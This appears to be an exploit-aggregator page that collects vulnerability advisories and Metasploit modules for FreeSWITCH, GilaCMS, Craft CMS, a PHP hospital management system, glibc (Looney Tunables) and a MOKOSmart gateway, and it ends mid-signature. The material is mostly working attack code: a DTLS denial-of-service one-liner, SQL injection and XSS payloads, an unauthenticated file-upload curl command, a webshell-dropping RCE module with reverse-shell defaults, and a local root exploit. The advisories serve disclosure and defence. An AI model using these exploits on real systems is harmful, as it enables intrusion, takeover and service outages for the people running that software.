Latest exploits :: CodePwn

<pre><code># FreeSWITCH susceptible to Denial of Service via DTLS Hello packets during call initiation - Fixed versions: 1.10.11 - Enable Security Advisory: https://github.com/EnableSecurity/advisories/tree/master/ES2023-02-freeswitch-dtls-hello-race - Vendor Security Advisory: https://github.com/signalwire/freeswitch/security/advisories/GHSA-39gv-hq72-j6m6 - Other references: CVE-2023-51443 - Tested vulnerable versions: 1.10.10 - Timeline: - Report date: 2023-09-27 - Triaged: 2023-09-27 - Fix provided for testing: 2023-09-29 - Vendor release with fix: 2023-12-22 - Enable Security advisory: 2023-12-22 ## TL;DR When handling DTLS-SRTP for media setup, FreeSWITCH is susceptible to Denial of Service due to a race condition in the hello handshake phase of the DTLS protocol. This attack can be done continuously, thus denying new DTLS-SRTP encrypted calls during the attack. ## Description Our research has shown that key establishment for Secure Real-time Transport Protocol (SRTP) using Datagram Transport Layer Security Extension (DTLS)[^1] is susceptible to a Denial of Service attack due to a race condition. If an attacker manages to send a ClientHello DTLS message with an invalid CipherSuite (such as `TLS_NULL_WITH_NULL_NULL`) to the port on the FreeSWITCH server that is expecting packets from the caller, a DTLS error is generated. This results in the media session being torn down, which is followed by teardown at signaling (SIP) level too. This behavior was tested against FreeSWITCH version 1.10.10, which was found to be vulnerable to this issue. The following sequence diagram shows the normal flow (i.e. no attack) involving SIP and DTLS messages between a UAC (the Caller) and an FreeSWITCH server capable of handling WebRTC calls. Diagram showing a call setup against FreeSWITCH that uses SIP and DTLS: https://user-images.githubusercontent.com/4557407/271063734-85425e09-6945-49b1-ba73-751b6d592ea4.png In a controlled experiment, it was observed that when the Attacker sent a DTLS ClientHello to FreeSWITCH's media port from a different IP and port, FreeSWITCH responded by sending a DTLS Alert to the Caller. Additionally, FreeSWITCH terminated the SIP call by sending a BYE message to the Caller. Diagram showing a call setup against FreeSWITCH that fails due to an attacker controlled DTLS ClientHello: https://user-images.githubusercontent.com/4557407/271064011-032f9a0e-15af-4645-b008-1fe8b706d75e.png During a real attack, the attacker would spray a vulnerable FreeSWITCH server with DTLS ClientHello messages. The attacker would typically target the range of UDP ports allocated for RTP. When the ClientHello message from the Attacker wins the race against an expected ClientHello from the Caller, the call terminates, resulting in Denial of Service. ## Impact Abuse of this vulnerability may lead to a massive Denial of Service on vulnerable FreeSWITCH servers for calls that rely on DTLS-SRTP. ## How to reproduce the issue 1. Prepare a FreeSWITCH server with an extension configured to handle WebRTC 1. Send an INVITE message to the target server with WebRTC SDP: ```default INVITE sip:1000@192.168.1.202 SIP/2.0 Via: SIP/2.0/WSS 192.168.1.202:36742;rport=36742;branch=z9hG4bK-jQcnXJadB2VGfGmQ Max-Forwards: 70 From: <sip:1000@192.168.1.202>;tag=L9kc5NfpYG1u67cT To: <sip:1000@192.168.1.202> Contact: <sip:1000@192.168.1.202> Call-ID: DzGnBLt0z9SK3MC0 CSeq: 5 INVITE Content-Type: application/sdp Content-Length: 385 v=0 o=- 1695296331 1695296331 IN IP4 192.168.1.202 s=- t=0 0 c=IN IP4 192.168.1.202 m=audio 45825 UDP/TLS/RTP/SAVPF 0 8 101 a=setup:active a=fingerprint:sha-256 49:05:98:B2:15:43:1C:9C:4F:29:07:60:F8:63:77:16:80:F9:44:C0:97:8E:E5:48:D6:71:B4:03:10:85:D6:E3 a=rtpmap:0 PCMU/8000/1 a=rtpmap:8 PCMA/8000/1 a=rtpmap:101 telephone-event/8000 a=rtcp-mux a=rtcprsize a=sendrecv ``` 1. Note FreeSWITCH's media port and IP values, which will be used as the `<freeswitch-ip>` and `<media-port>` parameters by the Attacker 1. Send a DTLS ClientHello message from a (attacker-controlled) host, which is different from the Caller but has network access to the FreeSWITCH server ```bash CLIENT_HELLO="Fv7/AAAAAAAAAAAAfAEAAHAAAAAAAAAAcP79AAA" CLIENT_HELLO="${CLIENT_HELLO}AAG4HCVaUNVbYVmxuqdn2WyCgtTijhZ+WheP/+H" CLIENT_HELLO="${CLIENT_HELLO}4AAAACAAABAABEABcAAP8BAAEAAAoACAAGAB0AF" CLIENT_HELLO="${CLIENT_HELLO}wAYAAsAAgEAACMAAAANABQAEgQDCAQEAQUDCAUF" CLIENT_HELLO="${CLIENT_HELLO}AQgGBgECAQAOAAkABgABAAgABwA=" echo -n "${CLIENT_HELLO}" | base64 --decode | nc -u <freeswitch-ip> <media-port> ``` 1. Observe that the Caller received a DTLS Alert message and a SIP BYE message on its signaling channel Note that the above steps are used to reliably reproduce the vulnerability. In case of a real attack, the attacker simply has to spray the FreeSWITCH server with DTLS messages. ## Solution and recommendations To address this vulnerability, upgrade FreeSWITCH to the latest version which includes the security fix. The solution implemented is to drop all packets from addresses that have not been validated by an ICE check. ## About Enable Security [Enable Security](https://www.enablesecurity.com) develops offensive security tools and provides quality penetration testing to help protect your real-time communications systems against attack. ## Disclaimer The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. ## Disclosure policy This report is subject to Enable Security's vulnerability disclosure policy which can be found at <https://github.com/EnableSecurity/Vulnerability-Disclosure-Policy>. [^1]: Datagram Transport Layer Security (DTLS) Extension to Establish Keys for the Secure Real-time Transport Protocol (SRTP) https://datatracker.ietf.org/doc/html/rfc5764 -- Sandro Gauci, CEO at Enable Security GmbH Register of Companies: AG Charlottenburg HRB 173016 B Company HQ: Neuburger Straße 101 b, 94036 Passau, Germany RTCSec Newsletter: https://www.rtcsec.com/subscribe Our blog: https://www.rtcsec.com Other points of contact: https://www.enablesecurity.com/contact/ </code></pre>

<pre><code>Description: GilaCMS <=1.15.4 - Mutiple SQL injection vulnerabilties Affected CMS: GilaCMS Affected Version: <= 1.15.4 CVE ID: CVE-2020-26623, CVE-2020-26624, CVE-2020-26625 CVSS Score: 7.2 (High) CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H Discoverers: Chris Chan @ UDomain Web Hosting Co.Ltd, Louise Ng @ UDomain Web Hosting Co.Ltd Multiple SQL injection vulnerabilities were discovered in Gila CMS 1.15.4 and before which allows a remote attacker to execute arbitary web scripts. Proof of Concept: Attack Vector 1: After login into admin portal, go to administration>widget and use wiget area filter to perform search Sample payload: http://targeturl/cm/list_rows/widget?page=1&area=dashboard'%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,@@version,NULL--%20 Attack Vector 2: After login into admin portal, go to edit post/page/role/user/category/userpost Sample payload: http://targeturl/cm/edit_form/userrole?id=2'%20and%201%3d0%20UNION%20ALL%20SELECT%20@@version,NULL,NULL--%20&callback=g_form_popup_update http://targeturl/cm/edit_form/user?id=1'%20and%201%3d0%20UNION%20ALL%20SELECT%20NULL,@@version,NULL,NULL,NULL,NULL,NULL--%20 http://targeturl/cm/edit_form/page?id=7'%20and%201%3d0%20%20UNION%20ALL%20SELECT%20NULL,@@version,NULL,NULL,NULL--%20 http://targeturl/cm/edit_form/post?id=3'%20and%201%3d0%20%20UNION%20ALL%20SELECT%20@@version,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--%20%20&callback=g_form_popup_update http://targeturl/cm/edit_form/postcategory?id=11'%20%20and%201%3d0%20UNION%20ALL%20SELECT%20NULL,NULL,@@version--%20&callback=g_form_popup_update http://targeturl/cm/edit_form/user-post?id=3'%20and%201%3d0%20%20UNION%20ALL%20SELECT%20@@version,NULL,NULL,NULL,NULL,NULL,NULL,NULL--%20&callback=g_form_popup_update Attacker Vector 3: After login into admin portal, go to Content>Posts and use Users filter to perform search Sample payload: http://targeturl/cm/list_rows/post?page=1&user_id=1'%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,NULL,@@version,NULL--%20 Recommendation Update to v2.0.1 http://gilacms.com https://github.com/GilaCMS/gila https://github.com/GilaCMS/gila/security/policy </code></pre>

<pre><code>## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Craft CMS unauthenticated Remote Code Execution (RCE)', 'Description' => %q{ This module exploits Remote Code Execution vulnerability (CVE-2023-41892) in Craft CMS which is a popular content management system. Craft CMS versions between 4.0.0-RC1 - 4.4.14 are affected by this vulnerability allowing attackers to execute arbitrary code remotely, potentially compromising the security and integrity of the application. The vulnerability occurs using a PHP object creation in the `\craft\controllers\ConditionsController` class which allows to run arbitrary PHP code by escalating the object creation calling some methods available in `\GuzzleHttp\Psr7\FnStream`. Using this vulnerability in combination with The Imagick Extension and MSL which stands for Magick Scripting Language, a full RCE can be achieved. MSL is a built-in ImageMagick language that facilitates the reading of images, performance of image processing tasks, and writing of results back to the filesystem. This can be leveraged to create a dummy image containing malicious PHP code using the Imagick constructor class delivering a webshell that can be accessed by the attacker, thereby executing the malicious PHP code and gaining access to the system. Because of this, any remote attacker, without authentication, can exploit this vulnerability to gain access to the underlying operating system as the user that the web services are running as (typically www-data). }, 'Author' => [ 'h00die-gr3y <h00die.gr3y[at]gmail.com>', # Metasploit module 'Thanh', # discovery 'chybeta' # poc ], 'References' => [ [ 'CVE', '2023-41892' ], [ 'URL', 'https://blog.calif.io/p/craftcms-rce' ], [ 'URL', 'https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/' ], [ 'URL', 'https://github.com/advisories/GHSA-4w8r-3xrw-v25g' ], [ 'URL', 'https://attackerkb.com/topics/2u7OaYlv1M/cve-2023-41892' ], ], 'License' => MSF_LICENSE, 'Platform' => [ 'unix', 'linux', 'php' ], 'Privileged' => false, 'Arch' => [ ARCH_CMD, ARCH_PHP, ARCH_X64, ARCH_X86 ], 'Targets' => [ [ 'PHP', { 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Type' => :php, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' } } ], [ 'Unix Command', { 'Platform' => [ 'unix', 'linux' ], 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ ARCH_X64, ARCH_X86 ], 'Type' => :linux_dropper, 'CmdStagerFlavor' => [ 'wget', 'curl', 'printf', 'bourne' ], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2023-09-13', 'DefaultOptions' => { 'SSL' => true, 'RPORT' => 443 }, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options( [ OptString.new('TARGETURI', [ true, 'Craft CMS base url', '/' ]), OptString.new('WEBSHELL', [ false, 'The name of the webshell with extension .php. Webshell name will be randomly generated if left unset.', '' ]), OptEnum.new('COMMAND', [ true, 'Use PHP command function', 'passthru', [ 'passthru', 'shell_exec', 'system', 'exec' ]], conditions: %w[TARGET != 0]) ] ) end def check_phpinfo # checks vulnerability running phpinfo() and returns upload_tmp_dir and DOCUMENT_ROOT @config = { 'upload_tmp_dir' => nil, 'document_root' => nil } res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(datastore['TARGETURI']), 'ctype' => 'application/x-www-form-urlencoded', 'vars_post' => { 'action' => 'conditions/render', 'configObject[class]' => 'craft\elements\conditions\ElementCondition', 'config' => '{"name":"configObject","as ":{"class":"\\\GuzzleHttp\\\Psr7\\\FnStream", "__construct()":{"methods":{"close":"phpinfo"}}}}' } }) if res && res.body # parse HTML to find the upload directory and the document root provided by phpinfo command output html = res.get_html_document unless html.blank? tr_items = html.css('tr td') tr_items.each_with_index do |item, i| next if tr_items[i + 1].nil? if item.text.casecmp?('upload_tmp_dir') if tr_items[i + 1].text.casecmp?('no value') @config['upload_tmp_dir'] = '/tmp' else @config['upload_tmp_dir'] = tr_items[i + 1].text.strip end end @config['document_root'] = tr_items[i + 1].text.strip if item.text.casecmp?('$_SERVER[\'DOCUMENT_ROOT\']') end end end end def upload_webshell # randomize file name if option WEBSHELL is not set if datastore['WEBSHELL'].blank? @webshell_name = "#{Rex::Text.rand_text_alpha(8..16)}.php" else @webshell_name = datastore['WEBSHELL'].to_s end # select webshell depending on the target setting (PHP or others). @post_param = Rex::Text.rand_text_alphanumeric(1..8) @get_param = Rex::Text.rand_text_alphanumeric(1..8) if target['Type'] == :php # create the MSL payload # payload = "<?php @eval(base64_decode($_POST[\'#{@post_param}\']));?>" payload = <<~EOS <?xml version="1.0" encoding="UTF-8"?>  EOS else # create the MSL payload # payload = "<?=#{datastore['COMMAND']}(base64_decode($_POST[\'#{@post_param}\']));?>" payload = <<~EOS <?xml version="1.0" encoding="UTF-8"?>  EOS end # construct multipart form data with Imagick MSL payload form_data = Rex::MIME::Message.new form_data.add_part('conditions/render', nil, nil, 'form-data; name="action"') form_data.add_part('craft\elements\conditions\ElementCondition', nil, nil, 'form-data; name="configObject[class]"') form_data.add_part('{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"msl:/dev/null"}}}', nil, nil, 'form-data; name="config"') form_data.add_part(payload, 'text/plain', nil, "form-data; name=\"#{Rex::Text.rand_text_alpha(4..8)}\"; filename=\"#{Rex::Text.rand_text_alpha(4..8)}.msl\"") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(datastore['TARGETURI']), 'ctype' => "multipart/form-data; boundary=#{form_data.bound}", 'data' => form_data.to_s }) if res && res.code == 502 # code 502 indicates a successful upload of the MSL payload in upload_tmp_dir (default /tmp unless specified in php.ini) # next step is to generate the webshell in DOCUMENT_ROOT by executing the Imagick MSL payload res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(datastore['TARGETURI']), 'ctype' => 'application/x-www-form-urlencoded', 'vars_post' => { 'action' => 'conditions/render', 'configObject[class]' => 'craft\elements\conditions\ElementCondition', 'config' => "{\"name\":\"configObject\",\"as \":{\"class\":\"Imagick\", \"__construct()\":{\"files\":\"vid:msl:#{@config['upload_tmp_dir']}/php*\"}}}" } }) # code 502 indicates a successful generation of the webshell in DOCUMENT_ROOT return res&.code == 502 end false end def execute_command(cmd, _opts = {}) payload = Base64.strict_encode64(cmd) return send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(datastore['TARGETURI'], @webshell_name), 'ctype' => 'application/x-www-form-urlencoded', 'vars_post' => { @post_param => payload } }) end def on_new_session(session) # cleanup webshell in DOCUMENT_ROOT register_files_for_cleanup("#{@config['document_root']}/#{@webshell_name}") # Imagick plugin generates a php<random chars> file with MSL code in the directory set by # the PHP ini setting "upload_tmp_dir". This file gets executed to generate the webshell. # A manual cleanup procedure is required to identify and remove the php* files when the session is established. if session.type == 'meterpreter' session.fs.dir.chdir(@config['upload_tmp_dir'].to_s) clean_files = session.fs.dir.entries else clean_files = session.shell_command_token("cd #{@config['upload_tmp_dir']};ls php*").split(' ') end unless clean_files.blank? clean_files.each do |f| register_files_for_cleanup("#{@config['upload_tmp_dir']}/#{f}") if f.match(/^php+/) end end super end def check check_phpinfo return CheckCode::Appears unless @config['upload_tmp_dir'].nil? || @config['document_root'].nil? CheckCode::Safe end def exploit # check if upload_tmp_dir and document_root is already initialized with AutoCheck set otherwise run check_phpinfo check_phpinfo unless datastore['AutoCheck'] fail_with(Failure::NotVulnerable, 'Could not get required phpinfo. System is likely patched.') if @config['upload_tmp_dir'].nil? || @config['document_root'].nil? fail_with(Failure::UnexpectedReply, "Webshell #{@webshell_name} upload failed.") unless upload_webshell print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") case target['Type'] when :php, :unix_cmd execute_command(payload.encoded) when :linux_dropper execute_cmdstager(linemax: 65536) end end end </code></pre>

<pre><code>Description: Mutiple vulnerabilties were discovered in Hospital Management System Affected CMS: Hospital Management System Affected Version: <= 4.0 CVE ID: CVE-2020-26627, CVE-2020-26628, CVE-2020-26629, CVE-2020-26630 CVSS Score: 7.2 (High) CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H Discoverers: Chris Chan @ UDomain Web Hosting Co.Ltd, Louise Ng @ UDomain Web Hosting Co.Ltd Multiple vulnerabilities were discovered in Hospital Management System v4.0 and before which allows a remote attacker to execute arbitary web scripts. Proof of Concept: Attack Vector 1 (Time-Based SQL injection): Step 1.) Login admin Step 2.) Go to Conatctus Queries -> unread query -> type something in admin remark (e.g test) and submit Step 3.) Replace the POST body to below payload and server will respond after 5 second. adminremark='/**/AND/**/(SELECT/**/1/**/FROM/**/(SELECT(SLEEP(5)))CXde)/**/AND/**/'a'='a&update= Attack Vector 2 (Time-Based SQL injection): Step 1.) Login admin Step 2.) Go to Doctors -> Doctor Specialization -> Click Submit Step 3.) Replace the POST body to below payload and server will respond after 5 second. doctorspecilization='/**/AND/**/(SELECT/**/1/**/FROM/**/(SELECT(SLEEP(5)))CXde)/**/AND/**/'a'='a&submit= Attack Vector 3 (Cross Site Scripting (XSS)): After attacker login, attacker can append malicious javascript behind their name. Other people will trigger xss when they visit this user. Step 1.) Login patient page Step 2.) Got to My Profile>Edit Profile. Step 3.) Append <ScRiPt >alert("poc")</ScRiPt> behind username and save Step 4.) Other user visit this profile will trigger xss Attacker Vector 4 (Unauthenticated Arbitrary File Upload): The HMS is using a vulnerable jquery file upload. Attacker can upload any file to server and trigger it. Step 1.) upload file with below curl command: curl -i -s -k -X $'POST' \ -H $'Content-Type: multipart/form-data; boundary=a211583f728c46a09ca726497e0a5a9f' -H $'Host: localhost' -H $'Content-Length: 164' \ --data-binary $'--a211583f728c46a09ca726497e0a5a9f\x0d\x0aContent-Disposition: form-data; name=\"files[]\"; filename=\"info.php\"\x0d\x0a\x0d\x0a<?php phpinfo(); ?>\x0d\x0a--a211583f728c46a09ca726497e0a5a9f--' \ $'http://localhost/hsm/hms/admin/vendor/jquery-file-upload//server/php/index.php' Step 2.) visit the url in response and trigger the php file. Recommendation Update to v5.2.0 https://phpgurukul.com/contact-us/ https://phpgurukul.com/hospital-management-system-in-php </code></pre>

<pre><code>## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking # includes: is_root? include Msf::Post::Linux::Priv # includes: kernel_release include Msf::Post::Linux::Kernel # include: get_sysinfo include Msf::Post::Linux::System # includes writable?, upload_file, upload_and_chmodx, exploit_data, cd include Msf::Post::File # includes register_files_for_cleanup include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck BUILD_IDS = { '69c048078b6c51fa8744f3d7cff3b0d9369ffd53' => 561, '3602eac894717d56555552c84fc6b0e4d6a4af72' => 561, 'a99db3715218b641780b04323e4ae5953d68a927' => 561, 'a8daca28288575ffc8c7641d40901b0148958fb1' => 580, '61ef896a699bb1c2e4e231642b2e1688b2f1a61e' => 560, '9a9c6aeba5df4178de168e26fe30ddcdab47d374' => 580, 'e7b1e0ff3d359623538f4ae0ac69b3e8db26b674' => 580, '956d98a11b839e3392fa1b367b1e3fdfc3e662f6' => 322 } def initialize(info = {}) super( update_info( info, 'Name' => 'Glibc Tunables Privilege Escalation CVE-2023-4911 (aka Looney Tunables)', 'Description' => %q{ A buffer overflow exists in the GNU C Library's dynamic loader ld.so while processing the GLIBC_TUNABLES environment variable. This issue allows an local attacker to use maliciously crafted GLIBC_TUNABLES when launching binaries with SUID permission to execute code in the context of the root user. This module targets glibc packaged on Ubuntu and Debian. The specific glibc versions this module targets are: Ubuntu: 2.35-0ubuntu3.4 > 2.35 2.37-0ubuntu2.1 > 2.37 2.38-1ubuntu6 > 2.38 Debian: 2.31-13-deb11u7 > 2.31 2.36-9-deb12u3 > 2.36 Fedora 37 and 38 and other distributions of linux also come packaged with versions of glibc vulnerable to CVE-2023-4911 however this module does not target them. }, 'Author' => [ 'Qualys Threat Research Unit', # discovery 'blasty <peter@haxx.in>', # PoC 'jheysel-r7' # msf module ], 'References' => [ ['CVE', '2023-4911'], ['URL', 'https://haxx.in/files/gnu-acme.py'], ['URL', 'https://www.qualys.com/2023/10/03/cve-2023-4911/looney-tunables-local-privilege-escalation-glibc-ld-so.txt'], ['URL', 'https://security-tracker.debian.org/tracker/CVE-2023-4911'], ['URL', 'https://ubuntu.com/security/CVE-2023-4911'] ], 'License' => MSF_LICENSE, 'Platform' => [ 'linux', 'unix' ], 'Arch' => [ ARCH_X86, ARCH_X64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [[ 'Auto', {} ]], 'Privileged' => true, 'DefaultTarget' => 0, 'DefaultOptions' => { 'PrependSetresgid' => true, 'PrependSetresuid' => true, 'WfsDelay' => 600 }, 'DisclosureDate' => '2023-10-03', 'Notes' => { 'Stability' => [ CRASH_SAFE, ], 'SideEffects' => [ ], 'Reliability' => [ REPEATABLE_SESSION, ] } ) ) register_advanced_options([ OptString.new('WritableDir', [ true, 'A directory where you can write files.', '/tmp' ]) ]) end def find_exec_program %w[python python3].select(&method(:command_exists?)).first rescue StandardError => e fail_with(Failure::Unknown, "An error occurred finding a version of python to use: #{e.message}") end def check glibc_version = cmd_exec('ldd --version')&.scan(/ldd\s+$\w+\s+GLIBC\s+(\S+)$/)&.flatten&.first return CheckCode::Unknown('Could not get the version of glibc') unless glibc_version sysinfo = get_sysinfo case sysinfo[:distro] when 'ubuntu' # Ubuntu's version looks like: 2.35-0ubuntu3.4. The following massaging is necessary for Rex::Version compatibility test_version = glibc_version.gsub(/-\d+ubuntu/, '.') if Rex::Version.new(test_version).between?(Rex::Version.new('2.35'), Rex::Version.new('2.35.3.4')) || Rex::Version.new(test_version).between?(Rex::Version.new('2.37'), Rex::Version.new('2.37.2.1')) || Rex::Version.new(test_version).between?(Rex::Version.new('2.38'), Rex::Version.new('2.38.6')) return CheckCode::Appears("The glibc version (#{glibc_version}) found on the target appears to be vulnerable") end when 'debian' # Debian's version looks like: 2.36-9+deb12u1. The following massaging is necessary for Rex::Version compatibility test_version = glibc_version.gsub(/\+deb/, '.').gsub(/u/, '.').gsub('-', '.') if Rex::Version.new(test_version).between?(Rex::Version.new('2.31'), Rex::Version.new('2.31.13.11.7')) || Rex::Version.new(test_version).between?(Rex::Version.new('2.36'), Rex::Version.new('2.36.9.12.3')) return CheckCode::Appears("The glibc version (#{glibc_version}) found on the target appears to be vulnerable") end else return CheckCode::Unknown('The module has not been tested against this Linux distribution') end CheckCode::Safe("The glibc version (#{glibc_version}) found on the target does not appear to be vulnerable") end def check_ld_so_build_id # Check to ensure the python exploit has the magic offset defined for the BuildID for ld.so if !command_exists?('file') print_warning('Unable to locate the `file` command ti order to verify the BuildID for ld.so, the exploit has a chance of being incompatible with this target.') return end file_cmd_output = '' # This needs to be split up by distro as Ubuntu has readlink and which installed by default but "ld.so" is not # defined on the path like it is on Debian. Also Ubuntu doesn't have ldconfig install by default. sysinfo = get_sysinfo case sysinfo[:distro] when 'ubuntu' if command_exists?('ldconfig') file_cmd_output = cmd_exec('file $(ldconfig -p | grep -oE "/.*ld-linux.*so\.[0-9]*")') end when 'debian' file_cmd_output = cmd_exec('file "$(readlink -f "$(command -v ld.so)")"') else fail_with(Failure::NoTarget, 'The module has not been tested against this Linux distribution') end if file_cmd_output =~ /BuildID\[.+\]=(\w+),/ build_id = Regexp.last_match(1) if BUILD_IDS.keys.include?(build_id) print_good("The Build ID for ld.so: #{build_id} is in the list of supported Build IDs for the exploit.") else fail_with(Failure::NoTarget, "The Build ID for ld.so: #{build_id} is not in the list of supported Build IDs for the exploit.") end else print_warning('Unable to verify the BuildID for ld.so, the exploit has a chance of being incompatible with this target.') end end def exploit fail_with(Failure::BadConfig, 'Session already has root privileges') if is_root? python_binary = find_exec_program fail_with(Failure::NotFound, 'The python binary was not found.') unless python_binary vprint_status("Using '#{python_binary}' to run the exploit") check_ld_so_build_id # The python script assumes the working directory is the one we can write to. cd(datastore['WritableDir']) shell_code = payload.encoded.unpack('H*').first exploit_data = exploit_data('CVE-2023-4911', 'cve_2023_4911.py') exploit_data = exploit_data.gsub('METASPLOIT_SHELL_CODE', shell_code) exploit_data = exploit_data.gsub('METASPLOIT_BUILD_IDS', BUILD_IDS.to_s.gsub('=>', ':')) # If there is no response from cmd_exec after the brief 15s timeout, this indicates exploit is running successfully output = cmd_exec("echo #{Rex::Text.encode_base64(exploit_data)} |base64 -d | #{python_binary}") if output.blank? print_good('The exploit is running. Please be patient. Receiving a session could take up to 10 minutes.') else print_line(output) end end end </code></pre>

<pre><code>-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 # MOKOSmart MKGW1 Gateway Improper Session Management # Link: https://github.com/sbaresearch/advisories/tree/public/2022/SBA-ADV-20220120-01_MOKOSmart_MKGW1_Gateway_Improper_Session_Management ## Vulnerability Overview ## MOKOSmart MKGW1 Gateway devices with firmware version 1.1.1 or below do not provide an adequate session management for the administrative web interface. This allows adjacent attackers with access to the management network to read and modify the configuration of the device. * **Identifier** : SBA-ADV-20220120-01 * **Type of Vulnerability** : Improper Authentication * **Software/Product Name** : [MOKOSmart MKGW1 BLE Gateway](https://www.mokosmart.com/mokosmart-mkgw1-gateway-iot-cloud-platform/) * **Vendor** : [MOKO TECHNOLOGY LTD](https://www.mokosmart.com/) * **Affected Versions** : <= 1.1.1 * **Fixed in Version** : Not yet * **CVE ID** : Pending * **CVSS Vector** : CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H * **CVSS Base Score** : 8.0 (High) ## Vendor Description ## > * MKGW1 Bluetooth gateway is mainly used for the MOKO Bluetooth products. > * It is convenient for users to get the data of the MOKO series Beacon, > and advertising raw data of any Bluetooth device. > * It can upload the data to the server via MQTT (V3.1.1) or HTTP(S) > protocol. > * MKGW1 was developed with MediaTek® MT7688AN relying on OpenWrt system > and Nordic® nRF52 platform. > * MKGW1 can connect the standard MQTT Broker, Aws IOT, Azure IOT HUB, > Aliyun IOT. Source: <http://doc.mokotechnology.com/index.php?s=/page/108> ## Impact ## By exploiting the documented vulnerability, an attacker can gain administrative access to the device. For example, this can be misused by altering the configuration of the device or by reading out the configured network credentials and therefore getting a foothold in the victim's network. ## Vulnerability Description ## The gateway offers a web-based configuration interface that can be used to edit the configuration of the gateway. Username and password are requested to authenticate the administrator. After sending the correct credentials the device sets a global server-side state to "logged in" for 3600 seconds, rather than issuing a session ID. Now any device on the same network can access the configuration interface as administrator without any additional authentication and read and modify the configuration. ## Proof of Concept ## Login with the admin credentials on the web interface from a legitimate client: HTTP request: ```http POST /goform/login HTTP/1.1 Host: 192.168.22.1 Content-Type: application/json Content-Length: 39 Origin: http://192.168.22.1 Connection: close Referer: http://192.168.22.1/sign_in {"username":"Admin","password":"[redacted]"} ``` HTTP response: ```http HTTP/1.1 200 OK Content-type: application/json Pragma: no-cache Cache-Control: no-cache { "state": { "code": 2000, "msg": "ok" }, "data": { "activetime": "3600" } } ``` The response shown above does not contain any session identifier. On another client that can reach the web interface, an attacker can read out the configuration without any authentication: HTTP request: ```http GET /goform/get_wan HTTP/1.1 Host: 192.168.22.1 Connection: close ``` HTTP response: ```http HTTP/1.1 200 OK Content-type: application/json { "state": { "code": 2000, "msg": "ok" }, "data": { "wanmode": "WIFI", "wanssid": "[redacted]", "wanencrypt": "[redacted]", "wanpassword": "[redacted]", "proto": "dhcp", "ipaddr": "", "netmask": "", "gateway": "", "firdns": "", "secdns": "" } } ``` The above proof-of-concept shows that the MOKO gateway cannot distinguish between multiple sessions. Therefore, if a legitimate client is logged in, an attacker can read the configuration. Furthermore, an attacker can also modify the configuration by sending the appropriate `JSON` data to the respective `POST` endpoint. Changes to the network can trigger a reboot of the device. ## Recommended Countermeasures ## We are not aware of a vendor fix yet. Please contact the vendor. We recommend to implement a proper session management for the administrative web interface of the device. ## Timeline ## * `2022-01-20`: identification of vulnerability in version 1.1.1 * `2022-01-27`: initial vendor contact * `2022-03-02`: disclosed vulnerability to vendor contact but received no reply * `2023-12-11`: request CVE from MITRE * `2023-12-12`: public disclosure ## References ## * [Moko Gateway Documentation](https://www.mokosmart.com/wp-content/uploads/2019/10/GS-gateway.pdf) ## Credits ## * Jakob Hagl ([SBA Research](https://www.sba-research.org/)) * David Lisa Gnedt ([SBA Research](https://www.sba-research.org/)) -----BEGIN PGP SIGNATURE----- iQIzBAEBCAAdFiEEL9Wp/yZWFD9OpIt6+7iGL1j3dbIFAmWB8iQACgkQ+7iGL1j3 dbK0eg//atfWytZOUPJ3omp9Rjb9sMJwu1Z8LdEZZGsQdsmQXJLaKF3AUDnt2cBx CLPVDh32lFbszJiMrJrXjj5WxH8CUtNQFdj1WTN4Uv5MlaRRvipOz7/XTemqRwGP +nctTDZHLFCeli4ZD36tE4zKcP3vm+R4e7Zy5BIP74G2Dw2hmFreSt7CC5CqZT3K oPo1hMF9PD7WhjYK/lBaxeR+6FkiCm7p/thgyeShHMVygJJjmjF+k3GQ61NmoVXc IjwRs+WY8Y/X/SfPjM8tjW/gZFHdOv/r/Gcz1OJs2D2quqmiKuoOhS9b/F8LDHsf OnKTNBaWH2oTzmuh7zSan+kPYj42gjpp+aSSoWK7At78yFFvLilCcckwIpKagh4U b3W//s5BPKCXJ1a7yH3WYGjbDAOzGMq1g50X1ZDNQ7zdQbELobFSNLWsnPwfN64i ljq6tXTOYT+4Jg4hI5I+3vD4q7mf7O2CL4fk5pUHoKMy7P28sxa7wX2jH+02C07J 